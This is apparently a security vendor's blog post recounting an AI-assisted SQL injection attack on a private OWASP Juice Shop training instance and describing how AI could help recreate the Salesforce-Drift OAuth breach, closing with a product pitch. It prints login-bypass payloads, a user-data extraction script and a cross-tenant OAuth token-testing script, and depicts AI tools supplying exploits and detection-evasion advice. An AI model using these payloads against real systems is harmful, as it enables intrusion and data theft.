I had a conversation with one of our customers last week who was telling me that he is seeing attackers get increasingly sophisticated each year. In fact - this is one of the reasons that he came to Impart, because his current tools were becoming less and less effective.

That got me wondering - exactly how easy is it for a bad actor to actually hack a website today, with all of the AI tooling that exists?  So I decided to try some vibe hacking myself, for research purposes of course!

I started down with a simple goal: test how AI could assist with penetration testing on OWASP Juice Shop. Twenty-three minutes later, I had complete administrative access and thousands of user records extracted. But here's the interesting thing—the methodology I used wasn't specific to Juice Shop. It was an attack methodology that could be used to replicate a number of well known, publicized attacks, such as the recent Salesloft exploit.

We're starting to cross into uncharted territory. Bad guys used to at least know how to use some basic scripting tools to be able to conduct a successful hack. But now, almost anyone can hack - for better or worse.

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Compromising the OWASP Juice Shop

What would be an easy way to safely test a hack without crossing any lines?  OWASP Juice Shop to the rescue!  OWASP Juice Shop is an old, but well known vulnerable e-commerce application that is often used for security research and training, and as such was a good candidate to conduct research on. I spun up a private instance in my own private cloud for testing and fired it up - and got this familiar interface.

Doing recon and building a plan (10 minutes)

To get started, I gave my AI tool a simple prompt: "Help me test AI assisted attack techniques against the OWASP Juice Shop located at [URL redacted]."  Claude Code went ahead and started sending curl requests to verify that the app was there, and started doing recon and building an exploit.

Eventually, my AII tool came back with a very detailed plan showing how to recon the app, commonly used endpoints to probe, and suggested potential weaknesses in the application that might be ripe for exploitation. It even came up with a python script that could systematically be used to test endpoints for authentication bypasses and data extraction.

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Creating an exploit script (5 minutes)

Within the python script, there were some auth bypasses provided, as well some extraction logic. I reviewed the code, and while the payloads aren't particularly creative, I also didn't have to spend any effort at all coming up with them - they were generated completely by AI. Since we're vibe coding - it's time to YOLO this thing into the real world with minimal review and testing!. (As a side note, the cost of making a a mistake with a security research script is much less than making a mistake while maintaining a mission crtiical application, so I wouldn't do this with AI if I were running a real production application)

Code Excerpt:

class AIAssistedAPIRecon:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        self.vulnerable_endpoints = []
        self.auth_token = None
    
    def test_sql_injection_auth_bypass(self):
        """AI-generated SQL injection payloads"""
        payloads = [
            "admin'--",
            "admin' OR '1'='1'--", 
            "' OR 1=1--",
            "admin') OR ('1'='1'--"
        ]
        
        for payload in payloads:
            login_data = {'email': payload, 'password': 'anything'}
            response = self.session.post('/rest/user/login', json=login_data)
            
            if response.status_code == 200:
                data = response.json()
                if 'authentication' in data:
                    self.auth_token = data['authentication']['token']
                    print(f"[BREACH] Admin access obtained: {payload}")
                    return True
        return False
    
    def extract_all_user_data(self):
        """Systematic data extraction"""
        headers = {'Authorization': f'Bearer {self.auth_token}'}
        response = self.session.get('/api/Users', headers=headers)
        
        if response.status_code == 200:
            users = response.json()['data']
            print(f"[EXTRACTED] {len(users)} user records compromised")
            return users

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Running the Script and results (8 minutes)

The last step was executing the script, and the results were remarkable. I successfully demonstrated a complete authentication bypass on the OWASP Juice Shop training environment, extracted administrative credentials, gained full admin privileges, and accessed the user database—all without writing a single line of code. Just carefully crafted prompts.

What the demonstration revealed:

• Immediate SQL injection success with the second AI-generated payload: admin' OR '1'='1'--
• Administrative JWT token captured: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...
• Complete authentication circumvention resulting in full administrative access
• Comprehensive data extraction through automated systematic queries

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Total time: 23 minutes from start to complete system compromise

Recreating the Salesforce-Drift OAuth Attack

For better or worse, The same AI-assisted methodology that compromised OWASP Juice Shop can be applied to recreate sophisticated real-world attacks. To demonstrate this, let's walk through how an attacker could use AI to recreate the Salesforce-Drift OAuth breach.

Understanding the Vulnerability

An attacker begins by asking AI: "Help me understand OAuth integration vulnerabilities between SaaS platforms like Salesforce and Drift. What are the key attack vectors for token manipulation and cross-organizational data access?"

The AI responds with a comprehensive overview of OAuth attack vectors. It explains token scope escalation techniques, identifies key API endpoints to target like /services/oauth2/token and /services/data/*, and provides systematic testing methodologies. Within minutes, the attacker has expert-level knowledge of OAuth vulnerabilities without any prior experience.

Building Exploitation Tools

Next, the attacker prompts: "Generate Python code to systematically test OAuth token boundaries in SaaS integrations, focusing on cross-tenant privilege escalation and data access."

The AI generates sophisticated exploitation code that can test whether OAuth tokens work beyond their intended organizational boundaries:

class OAuthExploitationTool:
    def test_token_scope_escalation(self, oauth_token):
        """Test if token works beyond intended scope"""
        
        test_orgs = ['target-org', 'other-org-1', 'other-org-2']
        
        for org_id in test_orgs:
            url = f"https://{org_id}.salesforce.com/services/data/v50.0/sobjects/Contact"
            response = requests.get(url, headers={'Authorization': f'Bearer {oauth_token}'})
            
            if response.status_code == 200:
                print(f"[BREACH] Token works for org: {org_id}")
                self.extract_org_data(org_id, oauth_token)

This code systematically tests whether a single OAuth token can access data across multiple organizations—the core vulnerability in the Salesforce-Drift breach.

Executing the Attack

With AI-generated tools in hand, the attacker executes a systematic campaign. They identify organizations using Drift-Salesforce integration, obtain an initial OAuth token through legitimate means or social engineering, then use the AI-generated tools to test token boundaries across organizations. When they discover tokens that work beyond their intended scope, they systematically extract data from multiple compromised organizations.

Adaptive Problem-Solving

When the attack encounters obstacles, AI provides real-time assistance. If tokens are rejected, the attacker asks: "My OAuth token is being rejected for cross-org access. What are common bypass techniques?" The AI responds with request header manipulation techniques, alternative API endpoints, and detection evasion strategies.

The Timeline

Using this AI-guided approach, an attacker with basic technical skills could discover OAuth vulnerabilities, generate working exploitation code, systematically extract data from multiple organizations, and operate undetected—all within 30 to 60 minutes. The same timeframe as the OWASP Juice Shop compromise.  This demonstrates that sophisticated attacks like the Salesforce-Drift breach are no longer limited to expert hackers. The AI-assisted methodology makes expert-level attack capabilities accessible to anyone willing to learn basic prompting techniques.

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Ready to Stay Ahead of AI-Powered Threats?

AI-powered attacks represent one of the most significant challenges facing organizations today. At Impart, we've built our platform specifically to address this growing threat by leveraging our unique position in your infrastructure stack.

Our inline deployment at strategic ingress points gives us unparalleled visibility into attack patterns as they emerge. Combined with our AI-maintained, code-based rules engine, we deliver deterministic detections that adapt to new threats without sacrificing accuracy. Most importantly, our fully-featured agent operates safely in production environments, enabling real-time response capabilities that outpace traditional security solutions.

The result? Faster detection and response to AI-powered attacks than anything else available today.

If you're looking to future-proof your security posture against increasingly sophisticated threats, we'd love to show you how Impart can help. Get in touch with our team to schedule a demo and see our platform in action.

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